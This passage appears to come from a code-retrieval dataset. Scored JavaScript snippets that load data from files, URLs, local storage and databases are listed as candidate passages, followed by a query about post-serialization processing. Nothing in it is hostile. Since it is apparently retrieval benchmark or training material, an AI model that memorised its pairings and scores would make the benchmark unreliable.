$templateCache.get(chartData);\r\n\t\t} else{\r\n\t\t d3.csv(\"../data/Disney.csv\", function(data){\r\n\t\t\t\t$scope.data = data;\r\n\t\t\t\t//put the data into cache.\r\n\t\t\t\t$templateCache.put(chartData, data);\t\t\t\t\t\r\n\t\t });\r\n\t\t}\t\r\n\t}", "title": "" }, { "docid": "27f1c14979d8359cd2b7955457a388eb", "score": "0.5493014", "text": "function importNetwork(file) {\n\n var reader = new FileReader();\n\n var header = 'data:application/json;base64,';\n\n reader.onload = function(event) {\n the_url = event.target.result;\n if (the_url.slice(0,header.length) === header) {\n var new_data = JSON.parse(\n decodeSpecialChars(atob(the_url.slice(header.length))));\n var dataToAdd = {};\n if (new_data.ltdb === undefined) {\n dataToAdd = new_data; // this was a subset, possibly one graph, database export\n dataToAdd.graphs = [dataToAdd.graphs]; // right now we only support one graph\n } else {\n dataToAdd = new_data.ltdb; // this was a complete database export\n }\n\n // First load the existing database\n chrome.storage.local.get([\"ltdb\"], function(obj) {\n var db = window.learning_threads.build_ltdb(obj.ltdb);\n window.learning_threads.addData(db, dataToAdd);\n chrome.storage.local.set({\n \"ltdb\":window.learning_threads.prepSave_ltdb()(db)\n }, function() {});\n });\n\n } else {\n console.log('This file is not the correct format');\n }\n };\n\n reader.readAsDataURL(file);\n\n}", "title": "" }, { "docid": "728cab05aa7e406b1b0c618164f55fd1", "score": "0.5476257", "text": "function selectSet(set)//Selects your set by its name\n { \n statusMsg(\"Getting \" + set +\" from the Server\");\n SETname = set;\n SETlist = \"\";\n var request = new XMLHttpRequest();\n path =\"../Sets/\"+SETname+\".txt\";\n request.open(\"GET\", path, false);\n request.send(null);\n SETlist = request.responseText.split(\"\\n\");\n createSetList();\n }", "title": "" }, { "docid": "515d9a7d6c69445aa2d21e4ce601f722", "score": "0.54745084", "text": "function loadData(){\n //calls two functions which fill up the taskTypes and the map\n fillTypes();\n fillMap();\n fillArchive();\n convertToDate();\n //more comprehensive information on these functions below\n }", "title": "" }, { "docid": "f4d93d9544751a87480491fea828fb1c", "score": "0.5449972", "text": "function loadInternFile(file) {\n\n console.log(file);\n d3.json(file, function(error, data) {\n \n if (error) return alert(\"Error in the loading of the file.\"); \n \n //console.log(data);\n loadGraph(data);\n \n });\n}", "title": "" }, { "docid": "1304e0f05245cbb24feced99f70d9840", "score": "0.5448503", "text": "function loadDatasets()\n{\n\tfor (var country in datasets)\n\t{\n\t\tfor (var dataset in datasets[country])\n\t\t{\n\t\t\t(function (country, dataset)\n\t\t\t{\n\t\t\t\thtmlHelper.addDataset(country, dataset);\n\t\t\t\tvar req = new XMLHttpRequest();\n\t\t\t\treq.overrideMimeType(\"application/json\");\n\t\t\t\treq.onreadystatechange = function()\n\t\t\t\t{\n\t\t\t\t\tif (req.readyState != 4)\n\t\t\t\t\t return;\n\t\t\t\t var response = req.responseText\n\t\t\t\t if (response == '')\n\t\t\t\t\t return;\n\t\t\t\t\tvar settings = JSON.parse(response);\n\t\t\t\t\tsettings.url = datasets[country][dataset].url;\n\t\t\t\t\tsettings.layer = new L.LayerGroup();\n\t\t\t\t\tdatasetSettings[dataset] = settings;\n\t\t\t\t\tvar el = document.getElementById(dataset + \"Dataset\");\n\t\t\t\t\tif (el.checked)\n\t\t\t\t\t\ttoggleDataset(dataset, el);\n\t\t\t\t}\n\t\t\t\treq.open(\"GET\", datasets[country][dataset].url + \"dataset.json\", true);\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\treq.send(null);\n\t\t\t\t}\n\t\t\t\tcatch (e)\n\t\t\t\t{\n\t\t\t\t\tconsole.log(datasets[country][dataset].url);\n\t\t\t\t\tconsole.log(e);\n\t\t\t\t}\n\t\t\t})(country, dataset);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bca5af76ab43b268b04b50d6dbb10399", "score": "0.5434098", "text": "async function load(filepath) {\n const query = _getLoadSQL(filepath);\n const rows = await db.all(query);\n return { results: rows };\n}", "title": "" }, { "docid": "6bb0d6d9ac10576d5caf4f86bba04581", "score": "0.54163104", "text": "function loadData() {\n\t\t\tvar deferred = $q.defer();\n\t\t\tvar dataMap = {};\n\t\t\tvar skipFirst = false;\n\t\t\t//hosted file: https://citrus7.github.io/Elsen-Demo/dist/timeseries.csv\n\t\t\t//local: /timeseries.csv\n\t\t\tPapa.parse('/timeseries.csv', {\n\t\t\t\tdownload: true,\n\t\t\t\tworker: true,\n\t\t\t\tstep: function(row) {\n\t\t\t\t\t// Sort items into a map\n\t\t\t\t\t// Format of the map is identifier: [start date, end date, count, [all data]]\n\t\t\t\t\t\n\t\t\t\t\t// Skip first row of data\n\t\t\t\t\tif (skipFirst === false) {\n\t\t\t\t\t\tskipFirst = true;\n\t\t\t\t\t}\n\t\t\t\t\t// If Identifier key exists in map:\n\t\t\t\t\telse if (dataMap.hasOwnProperty(row.data[0][0])) {\n\t\t\t\t\t\t// Format raw data into epoch time and floats\n\t\t\t\t\t\tvar formattedData = [Date.parse(row.data[0][1]),parseFloat(row.data[0][2])];\n\t\t\t\t\t\t// Add data, compare dates to start/end date, increment count\n\t\t\t\t\t\tdataMap[row.data[0][0]][3].push(formattedData);\n\t\t\t\t\t\tdataMap[row.data[0][0]][2] += 1;\n\t\t\t\t\t\tif (Date.parse(row.data[0][1]) < Date.parse(dataMap[row.data[0][0]][0])) {\n\t\t\t\t\t\t\tdataMap[row.data[0][0]][0] = row.data[0][1];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (Date.parse(row.data[0][1]) > Date.parse(dataMap[row.data[0][0]][1])) {\n\t\t\t\t\t\t\tdataMap[row.data[0][0]][1] = row.data[0][1];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// Else create key and add entry:\n\t\t\t\t\telse {\n\t\t\t\t\t\tvar formattedData = [Date.parse(row.data[0][1]),parseFloat(row.data[0][2])];\n\t\t\t\t\t\tdataMap[row.data[0][0]] = [row.data[0][1], row.data[0][1], 1, [formattedData]];\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\tcomplete: function() {\n\t\t\t\t\tdeferred.resolve(dataMap);\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn deferred.promise;\n\t\t}", "title": "" }, { "docid": "4b3797e4784c4d7903142aa2501d7ae0", "score": "0.5415615", "text": "function read_data(){\n\t\t\n\t\t\tfetch(\"./data/live_india.json\")\n\t\t\t//fetch(\"http://localhost:8080/data/live_india.json\")\n\t\t\t.then(function(response) {\n\t\t\t\treturn response.json();\n\t\t\t})\n\t\t\t.then(function(tweet_json) {\n\t\t\t\ttweetInfo = tweet_json\n\t\t\t\ttime_keys = getTimes(tweetInfo)\n\t\t\t\t\n\t\t\t\tprocessData(tweetInfo, processedTweetInfo, polygonData, statsData, B, time_keys.slice(-default_max, -default_min), grid_sizes); \n\t\t\t\t\n\t\t\t\tresetLayers(false);\t\n\t\t\t\ttinfo.update_header();\n\t\t\t\tinitSlider();\n\t\t\t}).catch(function() {\n\t\t\t\tconsole.log(\"live.json not found\");\n\t\t\t});\n\t\t\t\t\n\t}", "title": "" }, { "docid": "54c508af6aeeefa991f7f8a3511972c4", "score": "0.5410342", "text": "function preload() {\n data = loadJSON('./data/Ornitela_simplify1000.geojson');\n}", "title": "" }, { "docid": "8839b592876be342dc703fb1ea85d51a", "score": "0.540544", "text": "loadFlights() {\n fs.readFile('./server/data/flightdata_A.xml', (err, data) => {\n const jsonResult = xml2json.toJson(data, { object: true });\n this.flights = jsonResult.flights.flight;\n });\n }", "title": "" }, { "docid": "31b8e06319c7e7bb6fe7404c6e56f49c", "score": "0.53981537", "text": "function loadDataFromServer() {\n\t\tif (typeof(AWS) === 'undefined') {\n\t\t\treturn;\n\t\t}\n\t\t\n var db = new AWS.DynamoDB.DocumentClient({dynamoDbCrc32: false});\n\t\tvar items = [];\n db.scan({\n TableName: 'evenements'\n }, function(err, data) {\n \tif (err) {\n\t\t console.log(JSON.stringify(err, null, 2));\n\t\t } else {\n\t for (var i = 0; i < data.Items.length; i++) {\n\t var item = data.Items[i];\n\t items.push(item);\n\t }\n\t\t evenementsData = items;\n\t\t initialize();\n\t }\n });\n }", "title": "" }, { "docid": "b0893ddc10bdc5e1990f5e5dc780009e", "score": "0.53911734", "text": "function preload() {\r\n data = loadJSON('http://127.0.0.1:8080/data.json');\r\n}", "title": "" }, { "docid": "ca5db641df2051288d7d9d1794d64d97", "score": "0.53755885", "text": "function loadFeatures()\n{\n readTextFile(\"scotland.geojson\",geojson_callback);\n}", "title": "" }, { "docid": "ac9d042cfd6036395402e501d117eec3", "score": "0.53665954", "text": "function loadFromDPLocal() {\n\t\t// load the result from local stroage\n\t\tvar storedResult = JSON.parse(\n\t\t\tlocalStorage.getItem('dayplannerDataArray' + selectDateSave)\n\t\t);\n\t\tconsole.log(storedResult);\n\t\tif (storedResult !== null) {\n\t\t\tsaveDataArray = storedResult;\n\t\t}\n\t\t// run all the save data from the array and append to the textarea if any\n\t\tfor (k = 0; k < saveDataArray.length; k++) {\n\t\t\t$('#textarea' + saveDataArray[k].saveDataHour).val(\n\t\t\t\tsaveDataArray[k].saveDataText\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "36a3cc8cb6ce481e580f6917fa71df3c", "score": "0.53619117", "text": "function loadData()\n{\n const input = document.querySelector('input[type=\"file\"]');\n input.addEventListener('change', function(e)\n {\n const reader = new FileReader();\n reader.readAsText(input.files[0]);\n reader.onload = function()\n {\n const lines = reader.result.split('\\n').map(function(line)\n {\n if (line != \"\") {dataContainer.push(line.split(','));}\n })\n\n plotData = [];\n input.value = '';\n plotData = dataContainer;\n\n init();\n }\n }, false);\n}", "title": "" }, { "docid": "791932058d30c8b614cb6193d494043f", "score": "0.5353785", "text": "function loadFromFile(){\n\tvar sfile = shiftFile.files[0];\n\tvar pfile = peopleFile.files[0];\n\tvar reader = new FileReader();\n reader.onload = function(e){\n \tloadShifts(e.target.result);\n }\n reader.readAsText(sfile);\n}", "title": "" }, { "docid": "f65a08b62d6bdaca19d5131725e8a6e9", "score": "0.5337358", "text": "function loadData(data) {\n\tif(data != null) {\n\t\tvar keys = Object.keys(data);\n\n\t\tkeys.forEach(function(e,i,a) {\n\t\t\tvar store = getObjectStore(e,'readwrite');\n\t\t\tvar keys = Object.keys(data[e]);\n\n\t\t\tkeys.forEach(function(e2,i2,a2) {\n\t\t\t\tstore.put(data[e][e2]);\n\t\t\t},this);\n\t\t},this);\n\t}\n\tdbToData();\n}", "title": "" }, { "docid": "34c3c5b3594a0df2a0d7d30d4bbe8c9c", "score": "0.53318983", "text": "function pullData(file) {\n\tvar data = [];\n\ttry {\n\t\tvar contentSplit = fs.readFileSync(PATH_IN + '/' + file, 'utf8').split('\\r\\n');\n\t} catch (e) {\n\t\tconsole.log('Error trying to read ' + file + ':');\n\t\tconsole.log(e.message);\n\t\tconsole.log('Skipping file');\n\t\treturn null;\n\t}\n\tvar objs = contentSplit.slice(0, contentSplit.length - 1); // Exclude final newline\n\tfor(var line of objs) {\n\t\tdata.push(JSON.parse(line));\n\t}\n\treturn data;\n}", "title": "" }, { "docid": "66bce2ebb47e0baddb8cdaa5d7a6d4c4", "score": "0.53246915", "text": "function initialize(file){\n return Promise.resolve(loadData(file));\n // loadData(file);\n }", "title": "" }, { "docid": "966d3d3ee8523acaf7c4fa1d046b4a13", "score": "0.53208923", "text": "function import_data(path, display_callback){\r\n var graph = gexf.fetch(path);\r\n\r\n // import nodes data\r\n graph.nodes.forEach(function(n){\r\n nodes['nid_' + n.id] = {\r\n 'x': n.viz.position.x,\r\n 'y': n.viz.position.y,\r\n 'title': n.attributes.subjectname,\r\n 'id': 'nid_' + n.id\r\n };\r\n });\r\n\r\n // import edges data\r\n graph.edges.forEach(function(e){\r\n edges['eid_' + e.id] = {\r\n 'source': 'nid_' + e.source,\r\n 'target': 'nid_' + e.target,\r\n 'x1': graph.nodes.filter(node => node.id == e.source)[0].viz.position.x,\r\n 'y1': graph.nodes.filter(node => node.id == e.source)[0].viz.position.y,\r\n 'x2': graph.nodes.filter(node => node.id == e.target)[0].viz.position.x,\r\n 'y2': graph.nodes.filter(node => node.id == e.target)[0].viz.position.y,\r\n 'id': 'eid_' + e.id,\r\n 'type': e.label\r\n }\r\n });\r\n\r\n // fill the adjacency list\r\n Object.values(edges).forEach(function(e){\r\n if(!adjacency_list[e.source]) adjacency_list[e.source] = [];\r\n adjacency_list[(e.source)].push(e.id);\r\n });\r\n\r\n // callback function that displays the data when loading is done\r\n display_callback();\r\n}", "title": "" }, { "docid": "108a5ab6ccc6241a832a6d65a2c0bf5c", "score": "0.5314624", "text": "function loadData(path){\n // call D3's loading function for CSV and load the data to our global variable _data\n d3.csv(path).then(function(data){\n _vis.data = data;\n _vis.setupScale([0,80],[MARGINS.left,_vis.width-MARGINS.left],[0,5],[_vis.height-MARGINS.bottom, MARGINS.top]);\n _vis.setupAxes();\n _vis.createCircles();\n _vis.createRectangles();\n _vis.createTriangles();\n });\n}", "title": "" }, { "docid": "59d5368e299fd62ae210417b8227e1b3", "score": "0.5313341", "text": "function getData() {\n Promise.all(file.map(url => d3.json(url))).then(function(data) {\n dataReady(data[0]);\n });\n }", "title": "" }, { "docid": "08b2ee53e455ca753026b573432b5a1b", "score": "0.5291582", "text": "loadData( config ){\n if( config.datatype == \"precomputed_octree_tiles\"){\n this._initLevelManager(config);\n }else if(config.datatype == \"mesh_collection\"){\n this._initMeshCollection(config);\n }else if(config.datatype == \"colormap_collection\"){\n this._colormapManager.loadCollection( config );\n }else if(config.datatype == \"annotation_collection\"){\n this._annotationCollection.loadAnnotationFileURL( config );\n }else{\n console.warn(\"The data to load has an unknown format.\");\n }\n\n }", "title": "" }, { "docid": "72eccca9e5296da2481d827df655051c", "score": "0.52875334", "text": "Load() {\n this.local = true;\n }", "title": "" }, { "docid": "9d2f200d586ad1d1afd8ae5193c50a29", "score": "0.528719", "text": "loadFile() {\n this.startIndex = 0;\n this.calendarText = this.readTextFile(this.file);\n this.listOfEvents = this.getEvents(this.date, this.calendarText);\n this.listOfEvents = this.sortByTime(this.listOfEvents);\n }", "title": "" }, { "docid": "2960fff0c38ff7064cb9e1fdefebfc19", "score": "0.52819496", "text": "loadData(data) {\n this.data = data;\n }", "title": "" }, { "docid": "0e2ef1d4bda37c607e0565099569dd95", "score": "0.52710104", "text": "function loadData(){\n var q = queue(1)\n q.defer(d3.json, \"westelijke2015.json\")\n q.defer(d3.json, \"JSON/westelijke2015_uurlijk.json\")\n q.defer(d3.json, \"damen2015.json\")\n q.defer(d3.json, \"JSON/damen2015_uurlijk.json\")\n q.defer(d3.json, \"damen2014.json\")\n q.defer(d3.json, \"JSON/damen2014_uurlijk.json\")\n q.awaitAll(page)\n}", "title": "" }, { "docid": "5e1b291f394c57745473f55e2fd70c94", "score": "0.5269916", "text": "function Dataload()\n{\n\tqueue()\n\t.defer(d3.csv,'data/CSV File/MovieKungFuData.csv',parse)\n\t.await(dataLoaded);\n}", "title": "" }, { "docid": "6524c448b90422b0a6467932909e2d2b", "score": "0.52629685", "text": "function initModelData(fileName) {\n\tlet promise = fetch(`json/${fileName}.json`);\n\n\tpromise.then(response => {\n\t\t\t// invalid json file\n\t\t\tif (!response.ok) { initModelData(defaultCollection); }\n\t\t\t// valid\n\t\t\telse { return response.json(); }\n\t\t})\n\t\t// init modelUpdater global\n\t\t.then(data => {\n\t\t\tmodelUpdater.modelData = data;\n\t\t\tloadModelData();\n\t\t})\n}", "title": "" }, { "docid": "f19c8d1d548c368456082c23e18f2577", "score": "0.5242156", "text": "function load(filename, callback){\n\n d3.json(filename, function(err, json){\n if (err) return console.error('Data cant be loaded');\n\n sinfo = json.hits.hits;\n callback(sinfo.map(function(s){return s._source;}));\n });\n}", "title": "" }, { "docid": "0823e971e7b803bc0f5fa58ce5e743dc", "score": "0.5238161", "text": "loadMapData() {\n new JSONLoader(`${this.path}Map.json`).on('load', (map) => {\n this.map = map;\n this.createTileset();\n });\n }", "title": "" }, { "docid": "5d192bdf1a118e0413f9e2595a46230a", "score": "0.523001", "text": "async getAll() {\n // open the file, parse it, and return the parsed data, will arr of objs\n return JSON.parse(\n await fs.promises.readFile(this.filename, {\n encoding: \"utf-8\",\n })\n );\n }", "title": "" }, { "docid": "eb4eb420eb7c9aaeddf82812d4a36534", "score": "0.5216984", "text": "function dataFetch(){\n const fs = require('fs');\n fs.readFile('./classrooms.json', 'utf-8', function(err, data){\n if (err) throw err;\n allData = JSON.parse(data);\n });\n}", "title": "" }, { "docid": "43ad141d9fb512285c3f8757d308e42d", "score": "0.52105194", "text": "function setDatasetList() {\n console.log(\"Response to list datasets GET: \" + this.responseText);\n var datasets = JSON.parse(this.responseText);\n datasets.forEach(element => {\n console.debug(\"Found Dataset: \" + element)\n $('#datasetTableBody').append(getDatasetHTMLString(element));\n });\n}", "title": "" }, { "docid": "d02cf7ab2a91b0d9410772d4e67e763d", "score": "0.5209862", "text": "function preload() {\n table = loadTable(\"data/PL_dailydata_April18-22.csv\", \"csv\", \"header\");\n}", "title": "" }, { "docid": "19fc0c86bf094cd13da0cf40ea3ba76e", "score": "0.5204853", "text": "function getData() {\n\n d3.queue() \n .defer(d3.csv, './js/panama/nodes_filt_entity.csv') \n .defer(d3.csv, './js/panama/nodes_officer_sea.csv')\n .defer(d3.csv, './js/panama/nodes_edges_sea.csv')\n .await(initialize); \n\n }", "title": "" }, { "docid": "60179f22e1e486da5d08d47c73e2c327", "score": "0.5181732", "text": "function loadData() {\r\n\r\n var ROOT = 0;\r\n var phoneBookObj = '';\r\n var indexObj = {index: 1}\r\n\r\n try {\r\n\r\n var content = fs.readFileSync('myFile.txt', 'utf8');\r\n\r\n }\r\n\r\n catch(err) {\r\n content = 'empty';\r\n console.log('File is not Exist!! continue without loading data from file');\r\n }\r\n\r\n\r\n\r\n console.log('File Content: ' + '\\n' + content);\r\n\r\n\r\n if(content) {\r\n try {\r\n phoneBookObj = JSON.parse(content);\r\n }\r\n\r\n catch (err) {\r\n console.log('Check your Data continue without loading Data from file');\r\n }\r\n }\r\n\r\n if(phoneBookObj) {\r\n convertObjectToPhoneBook(phoneBookObj, indexObj, phoneBookObj[ROOT].numOfItems);\r\n }\r\n\r\n\r\n}", "title": "" }, { "docid": "b6875eaea458161ea4713a7a51020918", "score": "0.517832", "text": "function loadKData() {\n d3.csv(\"https://gist.githubusercontent.com/SkuliSkula/dbea0e7641b1258025ff4c5d134716bd/raw/fffc52a5abe47c76490ccc11f3129031d6ec9fd9/k_means_building_fires_cluster_labels.csv\", function (error, data) {\n if (error) {\n console.log(error);\n }\n else {\n kData = data;\n initKData(kData);\n loadKMeansData();\n }\n });\n}", "title": "" }, { "docid": "bfdae785d5b39ab118a4cfd285bcbe46", "score": "0.51769793", "text": "function preload () {\n const fName = 'file.fdf-map'\n document.getElementById('fileName').innerText = fName\n\n // fetch local file\n dfMapData = window.loadFromURL(fName).then(e => {\n dfMapData = e\n })\n}", "title": "" }, { "docid": "c2c0d6a90e145f3be0c43d0bc9b7b0fc", "score": "0.5173243", "text": "function localDataset() {\n var dataset = Fixture.getDataset();\n dataset.queryState.addFacet('country');\n return dataset;\n}", "title": "" }, { "docid": "01a6540811af04d087b59e9c68cfbcf8", "score": "0.5158871", "text": "function loadCountryData() {\n // Load country data via async request, then startup map init\n var url = 'lib/country-data.json';\n loadFile(url, function(response) {\n countryData = JSON.parse(response); \n loadVirusData(); // Load virus data after country data is conplete\n });\n}", "title": "" }, { "docid": "cee424e09f104dbb9dfd67886e5e9314", "score": "0.515383", "text": "function loadData(path){\n d3.csv(path).then(function(data){\n base_data = data;\n\n // Load the star plot, heat map and parallel coordinates chart in the first, second and third SVG container grid cells respectively\n\n for (i = 0; i < 3; i++) {\n let svg = svg_list[i];\n let height = svg_height_list[i];\n let width = svg_width_list[i];\n\n switch (i) {\n case 0:\n loadStarPlot(svg, height, width, base_data, top_margin);\n break;\n case 1:\n loadHeatMap(svg, height, width, base_data, top_margin, bottom_margin, left_margin);\n break;\n case 2:\n loadParallelCoordinates(svg, height, width, base_data, top_margin, bottom_margin);\n }\n }\n });\n}", "title": "" }, { "docid": "4fc849dc595890147ab20a210838efed", "score": "0.5151603", "text": "async getData() {\n const data = await readFile(this.datafile, 'utf8');\n if (!data) return [];\n return JSON.parse(data);\n }", "title": "" }, { "docid": "bc44f5ebe5e842525a50c05c5ff9e458", "score": "0.5147823", "text": "loadData() {\n let content = fs.readFileSync(\"server/storage/data.json\");\n this._data = JSON.parse(content);\n\n this._ciudades = [];\n this._tipos = [];\n\n this._data.forEach( o => {\n // obtiene las diferentes ciudades de los datos\n if(this._ciudades.find( c => c == o.Ciudad) == undefined){\n this._ciudades.push(o.Ciudad);\n }\n // obtiene los tipos existentes de los datos\n if(this._tipos.find( t => t == o.Tipo) == undefined){\n this._tipos.push(o.Tipo);\n }\n // obtiene el precio como integer\n o._precio = parseInt( o.Precio.replace('$','').replace(',','') );\n });\n\n this._ciudades.sort();\n this._tipos.sort();\n\n //console.log(\"ciudades :\", this._ciudades);\n //console.log(\"tipos :\", this._tipos);\n //console.log(\"all :\", this._data);\n }", "title": "" }, { "docid": "76b1c6299ab4e554f72c2f44cc2d663b", "score": "0.5125857", "text": "async getData() {\n const data = await readFile(this.datafile, 'utf8');\n if (!data) return [];\n return JSON.parse(data);\n }", "title": "" }, { "docid": "879467339a103ac774dfea78355ebbcb", "score": "0.5124116", "text": "loadModel() {\n let fin = fs.OpenRead(this.filename);\n this.model = new qm.analytics.RecLinReg(fin);\n fin.close();\n }", "title": "" }, { "docid": "e7d544ba0c968e9c103fbf91ef8fc01d", "score": "0.5123752", "text": "function getDataFromLocal(){\r\n let localData = localStorage.getItem('flowersData');\r\n\r\n if (localData){\r\n Flower.all = JSON.parse(localData);\r\n renderData();\r\n }\r\n}", "title": "" }, { "docid": "06d0b001b1191bf6c081778932960b92", "score": "0.51166797", "text": "function loadData(err, data) {\n // forgot to handle error\n}", "title": "" }, { "docid": "6bdeb8f0545bd09077767334cc549489", "score": "0.51121104", "text": "function definitionLoadData(data){\n if(data == 'No Records') return;\n var contentData = JSON.parse(data);\n\n for (var visType, index = 0; index < contentData.length; index++) { //run through all the data\n if(contentData[index].type == null)\n continue;\n \n if (contentData[index].type == 'visualization')\n loadVisualizationsFromServer(contentData, visType, index);\n else\n window[contentData[index].type + 'Load'].apply(null, [JSON.parse(contentData[index].properties)]);\n }\n\n}", "title": "" }, { "docid": "bf67e13ff787289cae9a79b31b77ef7f", "score": "0.51107395", "text": "constructor(datafile) {\n this.datafile = datafile;\n }", "title": "" }, { "docid": "d2427caca580c55d0f50f29dc16b7544", "score": "0.51089394", "text": "function load(filename, file) {\n // loads into worker\n worker.load(filename, file);\n\n // set up UI\n last_input = '';\n storage = new LocalStore(filename);\n graph = Graph.deserialize(storage.get('map'));\n saves = JSON.parse(storage.get('saves') || '[]');\n\n // specific fn to get object details for the tree\n const getDetails = id => worker.sendAnd('getDetails', id);\n\n dispatch({ type: 'MAP::CREATE', graph });\n dispatch({ type: 'TREE::DATA', data: storage.get('tree') || '{}' });\n dispatch({ type: 'TREE::DETAILS', getDetails });\n dispatch({ type: 'SAVES::LOAD', saves });\n\n // once its been loaded, check if there is a previous state to restore\n worker.once('loaded', () => {\n const enabled = !!JSON.parse(localStorage.getItem('setting:instructions'));\n worker.send('enable:instructions', !!enabled);\n\n const query = new URL(window.location.href).searchParams.get('save');\n const state = (query)\n ? decodeURI(query).replace(/ /g, '+')\n : storage.get('savestate');\n\n if (state) {\n const [_id, data] = JSON.parse(state);\n worker.send('load_savestate', data);\n }\n\n worker.send('start');\n });\n }", "title": "" }, { "docid": "a8d08847bab3e1a8aa0478f1cb2c382a", "score": "0.50959826", "text": "function start(){\n loadData(\"0.json\");\n}", "title": "" }, { "docid": "7514fcb88db5eb411097459a65f52cd1", "score": "0.5092454", "text": "function fetchDataFromServer() {\t\t\t\t\r\n\t\t\t$.getJSON( \"ajax/readdata.php?client=1\", function( json ) {\r\n\t\t\t\t\tgraphData = json;\r\n\t\t\t});\r\n\t\t}", "title": "" }, { "docid": "13b8d96b3b50d308ff13cea373789cb8", "score": "0.50912386", "text": "initRows() {\n const { fields, name, dbPath } = this;\n const rowsPath = path.join(dbPath, name, 'data.json');\n\n if (fs.existsSync(rowsPath)) {\n const rows = JSON.parse(fs.readFileSync(rowsPath));\n\n return rows.map(r => new Row(fields, r.data, this, r.id));\n }\n\n fs.writeFileSync(rowsPath, JSON.stringify([])); // if not exists\n\n return [];\n }", "title": "" }, { "docid": "518e758620afab9b4545e03dacea855c", "score": "0.50895965", "text": "function loadFile(file){\n\n //var $ = require('jQuery');\n\n //var data = $.getJSON(file);\n\n var fs = require(\"fs\");\n// Get content from file\n var data = fs.readFileSync(file);\n// Define to JSON type\n var stateObj = JSON.parse(data);\n return stateObj;\n}", "title": "" }, { "docid": "7c8358e1d59998a7cf9db863a953eeca", "score": "0.5085137", "text": "function loadDataLocally() {\n const criteria = JSON.parse(localStorage.getItem(\"criteria\"));\n const technologies = JSON.parse(localStorage.getItem(\"technologies\"));\n initSorter(criteria, technologies);\n}", "title": "" }, { "docid": "39dc11e1aad71812eae78345b500cbcf", "score": "0.50834197", "text": "function load() {\n var data = Storage.load();\n \n // If there was no data found create a default list and set the timestamp to today\n if (!data) {\n Lists.setDefaultList();\n Calendar.initializeSchedule((new Date()), Lists.data.lists);\n } else {\n Lists.data.lists = data.lists;\n Calendar.initializeSchedule(data.timestamp, Lists.data.lists);\n }\n }", "title": "" }, { "docid": "a065cdd258b3636d913fe61a18e1a993", "score": "0.50779814", "text": "function load_data() {\n\tclasses = JSON.parse(localStorage.classes);\n\tset_protos(classes[0]);\n\tsetTimeout(function() {reconstruct_data();}, 100);\n}", "title": "" }, { "docid": "a5b29ae221eb66be4509c602a67aff4d", "score": "0.50758564", "text": "function _load () {\n var self = this;\n\n return new Promise(function (resolve, reject) {\n var raw = localStorage.getItem(self.dbName);\n if (!raw) {\n return Promise.reject(Error('No such data field.'));\n }\n resolve(raw);\n }).then(function (rawData) {\n var data = JSON.parse(rawData);\n if (!data || typeof data !== 'object') {\n return Promise.reject(Error('Invalid data type.'));\n }\n return data;\n }).then(function (data) {\n return Promise.all(data.map(function (elem, index) {\n if (!elem.query || !elem.data) {\n return Promise.reject(Error('invalid data values.'));\n }\n var city = new City(elem.query);\n city.setData(elem.data);\n self.cities[index] = city;\n }));\n }).catch(function (error) {\n return Promise.reject(error);\n });\n }", "title": "" }, { "docid": "38e1b724b001866d8434df7b3607a920", "score": "0.5075096", "text": "function load() {\n var load_path = \"data/simple_app.json\";\n m_data.load(load_path, load_cb, preloader_cb);\n}", "title": "" }, { "docid": "b6d6a6bbab9ae5569f946df8c1a7809b", "score": "0.50696087", "text": "async loadData() {\n try {\n if (!fs.existsSync('users.txt')) {\n console.log('WARNING: users.txt does not exist!')\n return\n }\n\n const users = fs.readFileSync('users.txt', 'utf-8')\n if (users.length === 0 || !users || users === '') {\n return\n }\n console.log('Decrypting user database...')\n const ciphertext = WickrIOAPI.cmdDecryptString(users.toString())\n\n if (encryptorDefined === true) {\n // Decrypt\n const decryptedData = encryptor.decrypt(ciphertext)\n this.wickrUsers = decryptedData\n } else {\n this.wickrUsers = JSON.parse(ciphertext)\n }\n } catch (err) {\n console.error(err)\n }\n }", "title": "" }, { "docid": "ed0b29cd244059e718ab5ba29c9d7ed9", "score": "0.50611657", "text": "function DataLoader() {\n this.callbacks = [];\n this.data = {\n maxBiome: 0,\n transitions: [],\n creationTransitions: [],\n usageTransitions: [],\n spriteInfo: [],\n objects: [],\n categories: [],\n techTree: []\n };\n\n var xhr = new XMLHttpRequest();\n xhr.addEventListener(\"load\", function() {\n this.parseFile(xhr.response);\n this.postprocessData();\n this.loaded = true;\n this.triggerLoaded();\n }.bind(this));\n xhr.addEventListener(\"error\", function() {\n console.error(\"Oh no!\");\n });\n xhr.open(\"GET\", \"data.txt\");\n xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n xhr.send();\n}", "title": "" }, { "docid": "9f27557ff291d1a787fb8f0854fb6dbb", "score": "0.50584614", "text": "loadFromFile() { \n\n try // we use this to check for errors, \n {\n let Data = GLib.file_get_contents(this.cacheFile); // data will be an array\n if (Data[0])\n this.updateContests(JSON.parse(Data[1]));\n\n this.setNextContest();\n }\n catch (e) // if error found \n {\n global.log(\"ContestCountdown: Cache file not found\")\n }\n }", "title": "" }, { "docid": "6a606b54e604933105dc9149156405c8", "score": "0.5057448", "text": "function loadLocal() {\n var content = localStorage.getItem(\"QUI-STORE\");\n if (!content || content.length <= 0) return;\n try {\n var linfo = JSON.parse(content);\n if (linfo && linfo.group)\n init(linfo.group, linfo.nick, null, linfo.welcomed);\n }\n catch (err) {\n localStorage.clear();\n }\n }", "title": "" }, { "docid": "e8af7fa241f8c929331a6aeb90bda5ca", "score": "0.5053806", "text": "loadData() {\n // If we don't have any data.\n // Then find out our current\n // timezone and save it.\n if (localStorage.getItem('timezones') != null) {\n const getLocalData = JSON.parse(localStorage.getItem('timezones'));\n this.timezones = [...getLocalData];\n } else {\n this.saveData(false, DateTime.local().zoneName);\n }\n }", "title": "" }, { "docid": "aa51eb17d16f50d1872cd039878cedc1", "score": "0.50494707", "text": "load() {}", "title": "" } ]
a90eca924e34bdca427051c2066e2700
Optional method that can be used for postprocessing before data is serialized.
[ { "docid": "fbe904f20cea373d710a4a563241914e", "score": "0.0", "text": "finalizeCallback() {\n // The subclass may override this method \n }", "title": "" } ]
